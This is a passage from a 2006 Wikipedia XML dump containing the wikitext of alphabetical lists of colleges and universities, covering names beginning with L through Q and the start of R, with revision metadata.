[[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[La Salle University]]
#[[La Sierra University]]
#[[La Trobe University]]
#[[LaGrange College]]
#[[LaSalle College Group]]
#[[Lafayette College]]
#[[Lahti Polytechnic]]
#[[Lajos Kossuth University of Arts and Sciences]]
#[[Lake Forest College]]
#[[Lake Superior College]]
#[[Lake Superior State University]]
#[[Lakehead University]]
#[[Lamar University]]
#[[Lambton College]]
#[[Lambuth University]]
#[[Lancaster University]]
#[[Landmark College]]
#[[Lane Community College]]
#[[Langston University]]
#[[Lanzhou University]]
#[[Lappeenranta University of Technology]]
#[[Laramie County Community College]]
#[[Las Positas Community College]]
#[[Laurentian University]]
#[[Lawrence University]]
#[[Le Moyne College]]
#[[LeTourneau University]]
#[[Lebanon Valley College]]
#[[Lee College]] ([[Baytown, Texas]])
#[[Leeds Metropolitan University]]
#[[Leeward Community College]]
#[[Lehigh Carbon Community College]]
#[[Lehigh University]]
#[[Leiden University]] ([[Leiden]], [[The Netherlands]])
#[[Lenoir-Rhyne College]]
#[[Lethbridge Community College]]
#[[Lewis &amp; Clark College]]
#[[Lewis and Clark Community College ]]
#[[Lewis University]]
#[[Lewis-Clark State College]]
#[[Lewisham College]]
#[[Lexington Community College]]
#[[Liberal Arts Christian College, Lithuania]]
#[[Liberec University of Technology]]
#[[Libero Istituto Universitario Carlo Cattaneo]]
#[[Liberty University]]
#[[Liceu de Macau]]
#[[Lillehammer College]]
#[[Limestone College]]
#[[Lincoln University]]
#[[Lincoln University of Pennsylvania]]
#[[Linfield College]]
#[[Lingnan University]]
#[[Linköping Institute of Technology]]
#[[Linköping University]]
#[[Liverpool John Moores University]]
#[[Lock Haven University of Pennsylvania]]
#[[Lodz Technical University]]
#[[Logan College of Chiropractic]]
#[[Loma Linda University]]
#[[London Business School]]
#[[London Guildhall University]]
#[[London School of Economics]]
#[[London University]]
#[[Long Beach City College]]
#[[Long Island University]]
#[[Longview Community College]]
#[[Longwood College]]
#[[Longwood College]]
#[[Loras College]]
#[[Los Andes University (Colombia)|Los Andes University]]
#[[Los Angeles Community Colleges]]
#[[Los Angeles Harbor College]]
#[[Los Rios Community College District]]
#[[Loughborough University of Technology]]
#[[Louisiana State University]]
#[[Louisiana State University Medical Center]]
#[[Louisiana State University, Shreveport]]
#[[Louisiana Tech University]]
#[[Louisiana College]]
#[[Loyola College]]
#[[Loyola Marymount University]]
#[[Loyola University, Chicago]]
#[[Loyola University, New Orleans]]
#[[Ludwig Maximilians Universitat, Munchen]]
#[[Lulea University of Technology]]
#[[Lund Institute of Technology]]
#[[Lund School of Economics and Management]]
#[[Lund University]]
#[[Luther College]]
#[[Lycee de Garcons Esch]]
#[[Lycoming College]]
#[[Lynchburg College]]
#[[Lynn University]]
#[[Lyon College]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|L]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with M</title>
    <id>6486</id>
    <revision>
      <id>38143338</id>
      <timestamp>2006-02-04T13:40:43Z</timestamp>
      <contributor>
        <username>Howardjp</username>
        <id>67013</id>
      </contributor>
      <minor />
      <comment>/* Mia-Mil */ now that's just offensive</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- '''M''' -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#Mälardalens Högskola -- see [[University College of Mälardalen]]
#[[M. S. Ramaiah Institute of Technology]]
==Ma==
===Mab-Mal===
#[[Mabie Memorial School]]
#[[Macalester College]]
#[[Macon College]]
#[[Macquarie University]] ([[Sydney, Australia]])
#[[Madison Area Technical College]]
#[[Maebashi City College of Technology]]
#[[Mahanakorn University of Technology]]
#[[Maharaja Sayajirao University of Baroda]]
#[[Maharashtra Institute of Technology, Pune]]
#[[Maharishi University of Management]]
#[[Mahidol University]]
#[[Maine College of Art]]
#[[Maine Maritime Academy]]
#[[Malaspina University-College]] ([[Nanaimo, British Columbia]])
#[[Malmi Business College]]
#[[Malone College]]
===Man-Map===
#[[Manatee Community College]]
#[[University of Manchester]]
#[[Manchester Metropolitan University]]
#[[Manhattan College]]
#[[Manhattanville College]]
#[[Manipal Institute of Technology]]
#[[Manitoba, University of]]
#[[Mankato State University]]
#[[Mansfield University of Pennsylvania]]
#[[Maple Woods Community College]]
===Mar-Mas===
#[[Maria Curie-Sklodowska University]]
#[[Marianopolis College]]
#[[Maricopa Community Colleges]]
#[[Marietta College]]
#[[Marine Institute St. Johns|Marine Institute St. John's]]
#[[Marist College]]
#[[Marlboro College]]
#[[Marmara University]]
#[[Marquette University]]
#[[Marshall University]]
#[[Martin Luther Universitat Halle-Wittenberg]]
#[[Mary Washington University]]
#[[Maryland Bible College and Seminary]]
#[[Maryland Institute College of Art]]
#[[Marymount College]]
#[[Marymount University]]
#[[Marywood University]]
#[[Masaryk University]]
#[[Massachusetts Institute of Technology]] ([[Cambridge, Massachusetts]])
#[[Massachusetts Maritime Academy]]
#[[Massey University]]
#[[Masters College]]

===Mat-May===
#[[Matej Bel University]]
#[[Mathematical Institute of the Hungarian Academy of Sciences]]
#[[Matsuyama University]]
#[[Mayo College]]
#[[Mayo Foundation]]
==Mc==
#[[McDaniel College]]
#[[McGill University]] ([[Montreal, Quebec]])
#[[McLaren School of Business]]
#[[McMaster University]]
#[[McMurry University]]
#[[McNeese State University]]
==Me==
===Med-Mes===
#[[Medical College of Georgia]]
#[[Medical College of Ohio]]
#[[Medical College of Wisconsin]]
#[[Medical University of Luebeck]]
#[[Medical University of South Africa]]
#[[Medical University of South Carolina]]
#[[Medizinische Hochschule Hannover (MHH)]]
#[[Meharry Medical College]]
#[[Meiji University]]
#[[Meiji Gakuin University]]
#[[Meisei University]]
#[[University of Melbourne]]
#[[Memorial University of Newfoundland]] ([[St. John's, Newfoundland and Labrador]])
#[[Mendel University of Agriculture and Forestry]]
#[[Mendocino College]]
#[[Mepco Schlenk Engineering College]]
#[[Mercer County Community College]]
#[[Mercer University]]
#[[Mercyhurst College]]
#[[Meredith College]]
#[[Merton College, Oxford]]
#[[Mesa Community College]]
#[[Messiah College]]

===Met===
#[[Metropolitan Community Colleges]]
#[[Metropolitan State College of Denver]]
#[[Metropolitan State University]]
==Mi==
===Mia-Mil===
#[[Miami Christian University]]
#[[Miami University]]
#[[Miami-Dade Community College]]
#[[Michigan State University]]
#[[Michigan Technological University]]
#[[Mid Sweden University]]
#[[MidAmerica Nazarene University]]
#[[Middle East Technical University]]
#[[Middle Georgia College]]
#[[Middle Tennessee State University]]
#[[Middlebury College]]
#[[Middlesex University]]
#[[Midwestern State University]]
#[[Mie University]]
#[[Millersville University of Pennsylvania]]
#[[Milligan College]]
#[[Millikin University]]
#[[Mills College]]
#[[Millsaps College]] ([[Jackson, Mississippi]])
#[[Milwaukee Area Technical College]]
#[[Milwaukee School of Engineering]]

===Min-Miy===
#[[Mindanao State University - Iligan Institute of Technology]]
#[[Ming-Chuan College]]
#[[Minneapolis College of Art and Design]]
#[[Minot State University]]
#[[MiraCosta College]]
#[[Miramar College - San Diego College District]]
#[[Mississippi College]]
#[[Mississippi State University]]
#[[University of Mississippi]]
#[[Mississippi University for Women]]
#[[Mississippi Valley State University]]
#[[Missouri Baptist College]]
#[[Missouri Western State University]]
#[[Mid Sweden University|Mittuniversitetet]]
#[[Miyazaki International College]]
#[[Miyazaki Medical College]]
#[[Miyazaki University]]

==Mo==
===Mod-Moo===
#[[Model Engineering College]]
#[[Mohave Community College]]
#[[Mohawk College of Applied Arts and Technology]]
#[[Mohawk Valley Community College]]
#[[Molde College]]
#[[Monash Mt Eliza Business School]]
#[[Monash University]]
#[[Monmouth College]]
#[[Monmouth University]]
#[[Montana State University - Billings]]
#[[Montana State University - Bozeman]]
#[[Montana State University - Northern]], Havre
#[[Montana Tech of The University of Montana]]
#[[Montanuniversitat Leoben]]
#[[Montcalm Community College]]
#[[Montclair State University]]
#[[Monterey Institute of International Studies]]
#[[Montreat College]]
#[[Moody Bible Institute]]
#[[Moorpark College]]
===Mor-Mou===
#[[Moraine Park Technical College]]
#[[Moravian College]]
#[[Morehouse College]]
#[[Morehouse School of Medicine]]
#[[Morningside College]]
#[[Morris College]]
#[[Moscow Institute of Physics and Technology]]
#[[Moscow Power Engineering Institute]]
#[[Moscow State Technical University]]
#[[Moscow State University]]
#[[Mount Allison University]]
#[[Mount Holyoke College]]
#[[Mount Ida College]]
#[[Mount Royal College]]
#[[Mount Saint Mary College]]
#[[Mount Saint Mary's University]]
#[[Mount Saint Vincent University]]
#[[Mount Union College]]
#[[Mount Vernon Nazarene University]]
#[[Mountain State University]]
#[[Mountain View College]] (part of the [[DCCCD]])
==Mu==
#[[Muhlenberg College]]
#[[Mumbai University]]
#[[Murdoch University]]
#[[Muroran Institute of Technology]]
#[[Murray State University]]
#[[Musashi Institute of Technology]]
#[[Musashi University]]
#[[Muscatine Community College]]
#[[Muskingum College]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|M]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with N</title>
    <id>6487</id>
    <revision>
      <id>38732288</id>
      <timestamp>2006-02-08T06:33:45Z</timestamp>
      <contributor>
        <ip>81.179.102.238</ip>
      </contributor>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- '''N''' -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[N.L.V.R.G.S.R.V Junior College, Nimmakur]]
#[[Nagano University]]
#[[Nagasaki University]]
#[[Nagoya Institute of Technology]]
#[[Nagoya University]]
#[[Nalanda University]], [[Bihar]], [[India]]
#[[Nan Tai College]]
#[[Nanjing University]]
#[[Nanjing Agricultural University (Alumni)]]
#[[Nanjing University of Science and Technology]]
#[[Nankai University]]
#[[Nanyang Polytechnic]]
#[[Nanyang Technological University]]
#[[Nanzan University]]
#[[Napier University]]
#[[Nara Institute of Science and Technology]]
#[[Naruto University of Education]]
#[[Nassau Community College]]
#[[Nation Changhua University of Education]]
#[[National Central University]]
#[[National Cheng Kung University]]
#[[National Chengchi University]]
#[[National Chiao Tung University]]
#[[National Chi Nan University]]
#[[National Chung Cheng University]]
#[[National Chung-Hsing University]]
#[[National College of Art and Design, Norway]]
#[[National College, Bangalore]]
#[[National Defense University]]
#[[National Hualien Teachers College]]
#[[National Institute of Development Administration]]
#[[National Institute of the Arts, Taiwan]]
#[[National Kaohsiung Normal University]]
#[[National Sun Yat-sen University]]
#[[National Taichung Institute of Commerce]]
#[[National Tainan Teachers College]]
#[[National Taipei Institute of Technology]]
#[[National Taiwan Institute of Technology]]
#[[National Taiwan Normal University]]
#[[National Taiwan Ocean University]]
#[[National Taiwan University]]
#[[National Technical Institute for the Deaf]]
#[[National Technical University of Athens]]
#[[National Technical University of Ukraine &quot;KPI&quot;]]
#[[National Technological University]]
#[[National Tsing-Hua University]]
#[[National University of San Marcos|National University of Saint Mark]]
#[[National University in San Diego]]
#[[National University of Colombia]]
#[[National University of Defence Science and Technology (Alumni)]]
#[[University College Cork|National University of Ireland, Cork]]
#[[University College Dublin|National University of Ireland, Dublin]]
#[[National University of Ireland, Galway]]
#[[National University of Ireland, Maynooth]]
#[[National University of Laos]]
#[[National University of Singapore]]
#[[National Yang Ming University]]
#[[National Yunlin Institute of Technology]]
#[[National-Louis University]]
#[[Navajo Community College]]
#[[Naval Postgraduate School]]
#[[Navarro College]]
#[[Nazarene Bible College]]
#[[Nazarene Theological Seminary]]
#[[Nazareth College of Rochester]]
#[[Near East University]]
#[[Nelson Mandela Metropolitan University]]
#[[Nesna College]]
#[[Netaji Subhas Open University]]
#[[Neumann College]]
#[[New England Institute of Technology]]
#[[New England Technical Institute]]
#[[New Hampshire College]]
#[[New Jersey Institute of Technology]]
#[[New Mexico Highlands University]]
#[[New Mexico Institute of Mining and Technology]]
#[[New Mexico State University]]
#[[New Mexico State University - Alamogordo]]
#[[New Orleans Baptist Theological Seminary]]
#[[New River Community College]]
#[[New School for Social Research]]
#[[New School for Social Research - Distance Learning]]
#[[New York College of Podiatric Medicine]]
#[[New York Institute of Technology]]
#[[New York University]]
#[[New York University - Tirana]]
#[[New York University Graduate School of Arts and Science]]
#[[Newberry College]]
#[[Newbury College]]
#[[Newcastle College]]
#[[Newport University]]
#[[Ngee Ann Polytechnic]]
#[[Niagara University]]
#[[Niagara County Community College]]
#[[Nicholls State University]]
#[[Nicolaus Copernicus University]]
#[[Nihon University]]
#[[Niigata University]]
#[[Nijenrode University]]
#[[Nipissing University]]
#[[Nippon Bunri University]]
#[[Nippon Dental University]]
#[[Nippon Medical School]]
#[[Nizhni Novgorod State University]]
#[[Noordelijke Hogeschool Leeuwarden]]
#[[Nord-Trondelag College]]
#[[Norges Teknisk-Naturvitenskapelige Universitet]]
#[[Normandale Community College]]
#[[North Carolina Agricultural and Technical State University]]
#[[North Carolina Central University]]
#[[North Carolina Community College System]]
#[[North Carolina State University]]
#[[North Carolina Wesleyan College]]
#[[North Central Bible College]]
#[[North Country Community College]]
#[[North Dakota State University]]
#[[North Dakota University System]]
#[[North East Wales Institute of Higher Education]]
#[[North Georgia College]]
#[[North Greenville College]]
#[[North Harris Montgomery Community College District]]
#[[North Hennepin Community College]]
#[[North Iowa Area Community College]]
#[[North Lake College]] (part of the [[DCCCD]])
#[[North Park Theological Seminary]]
#[[North Park University]]
#[[North Seattle Community College]]
#[[North Tyneside College]]
#[[North-West University]]
#[[Northeast Louisiana University]]
#[[Northeast Missouri State University]]
#[[Northeast State Technical Community College]]
#[[Northeastern Illinois University]]
#[[Northeastern Illinois University College of Business and Management]]
#[[Northeastern Ohio Universities College of Medicine]]
#[[Northeastern State University]]
#[[Northeastern University, Boston]]
#[[Northeastern University, China]]
#[[Northern Arizona University]]
#[[Northern College of Applied Arts and Technology]]
#[[Northern Illinois University]]
#[[Northern Jiaotong University]]
#[[Northern Kentucky University]]
#[[Northern Michigan University]]
#[[Northern Nevada Community College]]
#[[Northern State University]]
#[[Northern Territory University]]
#[[Northern University of Malaysia]]
#[[Northern Virginia Community College]]
#[[Northland College]]
#[[Northland Pioneer College]]
#[[Northwest College]]
#[[Northwest Community College]]
#[[Northwest Missouri State University]]
#[[Northwest Nazarene University]]
#[[Northwestern College (IA)|Northwestern College]] (Iowa)
#[[Northwestern College (MN)|Northwestern College]] (Minnesota)
#[[Northwestern Michigan College]]
#[[Northwestern Polytechnical University]]
#[[Northwestern State University]]
#[[Northwestern University]]
#[[Northwood University]]
#[[Norwalk State Technical Community College]]
#[[Norwegian College of Fishery Science]]
#[[Norwegian School of Economics and Business Administration]]
#[[Norwegian School of Management]]
#[[Norwegian University of Science and Technology]]
#[[Norwich University]]
#[[Notre Dame University, Western Australia]]
#[[Notre Dame Women's College]]
#[[Nottingham Business School]]
#[[Nottingham Trent University]]
#[[Nottingham University]]
#[[Nottingham University Business School]]
#[[Nova Scotia Agricultural College]]
#[[Nova Scotia College of Art and Design]]
#[[Nova Scotia Community College]]
#[[Nova Scotia Gaelic College]]
#[[Nova Southeastern University]]
#[[Novgorod State University]]
#[[Novosibirsk State Technical University]]
#[[Novosibirsk State University]]
#[[NSS College of Engineering]], [[Palakkad]]
#[[Nunavut Arctic College]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|N]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with O</title>
    <id>6488</id>
    <revision>
      <id>35577956</id>
      <timestamp>2006-01-17T19:56:32Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- '''O''' -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[ORT Uruguay]]
#[[Oakland University]]
#[[Oberlin College]]
#[[Occidental College]]
#[[Odense University]]
#[[Odessa College]]
#[[Odessa State Politechnic University]]
#[[Oglethorpe University]]
#[[Ohio College of Podiatric Medicine]]
#[[Ohio Northern University]]
#[[Ohio State University]] ([[Columbus, Ohio]])
#[[Ohio University]]
#[[Ohio Wesleyan University]]
#[[Oita University]]
#[[Okanagan University College]]
#[[Okayama Prefectural University]]
#[[Oklahoma Baptist University]]
#[[Oklahoma City University]]
#[[Oklahoma State University]]
#[[Oklahoma University]]
#[[Old Dominion University]]
#[[Franklin W. Olin College of Engineering|Olin College of Engineering]]
#[[Olivet Nazarene University]]
#[[Omega School of Theology]]
#[[Onondaga Community College]]
#[[Ontario Institute for Studies in Education]]
#[[Open Learning Agency]]
#[[Open University]]
#[[Open University (UK)]]
#[[Open University of Israel]]
#[[Open University of the Netherlands]] ([[Heerlen]], [[The Netherlands]])
#[[Oppland College]]
#[[Oral Roberts University]]
#[[Orange Coast College]]
#[[OGI School of Science and Engineering]] (Oregon Graduate Institute)
#[[Oregon Health and Science University]]
#[[Oregon Institute of Technology]]
#[[Oregon State University]]
#[[Oriental Institute of Technology]]
#[[Osaka City University]]
#[[Osaka Kyoiku University]]
#[[Osaka Medical College]]
#[[Osaka Prefecture University]]
#[[Osaka University]]
#[[Osaka University of Foreign Studies]]
#[[Osmania University]]
#[[Ostfold College]]
#[[Otterbein College]]
#[[Otto von Guericke Universitat, Magdeburg]]
#[[Oulu Institute of Technology]]
#[[Our Lady of the Lake University]]
#[[Oviedo University]]
#[[Owensboro Community College]]
#[[Oxford Brookes University]]
#[[Oxford University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|O]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with P</title>
    <id>6489</id>
    <revision>
      <id>38433587</id>
      <timestamp>2006-02-06T07:26:12Z</timestamp>
      <contributor>
        <ip>24.64.223.203</ip>
      </contributor>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- '''P''' -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[PUC-Rio]]
#[[Pace University]]
#[[Pacific Lutheran University]]
#[[Pacific University]]
#[[Palacky University]]
#[[Palacky University Medical School]]
#[[Palm Beach Atlantic College]]
#[[Palm Beach Community College ]]
#[[Palmer's College]]
#[[Palomar College]]
#[[Paradise Valley Community College]]
#[[Park College]]
#[[Parkland College]]
#[[Paul Smith's College]]
#[[Payame Noor University]] ([[Iran]])
#[[Peabody Conservatory of Music]]
#[[Peace College]]
#[[Pedagogical University of Krakow]]
#[[Peking University]]
#[[Pennsylvania College of Technology]]
#[[Pennsylvania State System of Higher Education]]
#[[Pennsylvania State University]]
#[[Pensacola Junior College]]
#[[Penza State Technical University]]
#[[Pepperdine University]]
#[[Perugia University]]
#[[Pfeiffer University]]
#[[Phillips University]]
#[[Phoenix College]]
#[[Piedmont Technical College]]
#[[Piedmont Virginia Community College]]
#[[Pierce College]]
#[[Pikes Peak Community Colleges]]
#[[Pima Community College]]
#[[Pine Manor College]]
#[[Pittsburg State University]]
#[[Pitzer College]]
#[[Plymouth State College]]
#[[Postech|Pohang University of Science and Technology]] (POSTECH)
#[[Point Loma Nazarene University]]
#[[Point Park University]]
#[[Technical University of Opole|Politechnika Opolska]]
#[[Poznan University of Technology|Politechnika Poznanska]]
#[[Politechnika Szczecinska]]
#[[Politecnico di Bari]]
#[[Politecnico di Milano]]
#[[Politecnico di Torino]]
#[[Politehnica University of Bucharest]]
#[[Polytechnic University of New York]]
#[[Polytechnic University of Puerto Rico]]
#[[Polytechnical University of Bucharest]]
#[[Pomona College]]
#[[Pondicherry Engineering College]]
#[[Pontificia Universidade Catolica do Parana]]
#[[Pontifícia Universidade Católica de Campinas]]
#[[Pontificia Universidad Javeriana]]
#[[Pontificia Universidad Católica de Chile]]
#[[Pontificia Universidad Catolica del Ecuador]]
#[[Pontificia Universidad Catolica del Peru]]
#[[Pontificia Universidade Catolica do Rio Grande do Sul]]
#[[Pontifícia Universidade Católica de São Paulo]]
#[[Portland Community College]]
#[[Portland State University]]
#[[Post University]]
#[[Potchefstroom University for Christian Higher Education]]
#[[Prague Institute of Chemical Technology]]
#[[Prairie Bible College]]
#[[Prairie View A&amp;M University]]
#[[Pramongkutklao College of Medicine]]
#[[Pratt School of Art and Design]]
#[[Presbyterian College]]
#[[Presbyterian School of Christian Education]]
#[[Presidency College, Chennai]]
#[[Presidency College, Kolkata]]
#[[Prince George's Community College]]
#[[Prince of Songkla University]]
#[[Princeton University]]
#[[Providence College]]
#[[Pueblo Community College]]
#[[Pune Institute of Computer Technology]]
#[[Punjab Engineering College]]
#[[Purchase College, State University of New York]]
#[[Purdue University]]
#[[Purdue University Calumet]]
#[[Purdue University North Central]]
#[[Pusan National University]]
#[[Pusan National University of Technology]]
#[[Pusan University of Foreign Studies]]
#[[Pusan Women's University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|P]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with Q</title>
    <id>6490</id>
    <revision>
      <id>35577744</id>
      <timestamp>2006-01-17T19:55:02Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- '''Q''' -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Queen Margaret University College, Edinburgh]]
#[[Queen Mary, University of London]]
#[[Queens' College, Cambridge]]
#[[Queens College, Charlotte]]
#[[Queen's College, Hong Kong]]
#[[Queen's College, London]]
#[[Queens College, New York]]
#[[Queen's College, Oxford]]
#[[Queen's University, Belfast]]
#[[Queen's University, Kingston]]
#[[Queensborough Community College of The City University of New York]]
#[[Queensland International Heritage College]]
#[[Queensland University of Technology]]
#[[Quincy University]]
#[[Quinnipiac University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|Q]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with R</title>
    <id>6491</id>
    <revision>
      <id>35577793</id>
      <timestamp>2006-01-17T19:55:23Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- '''R''' -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- 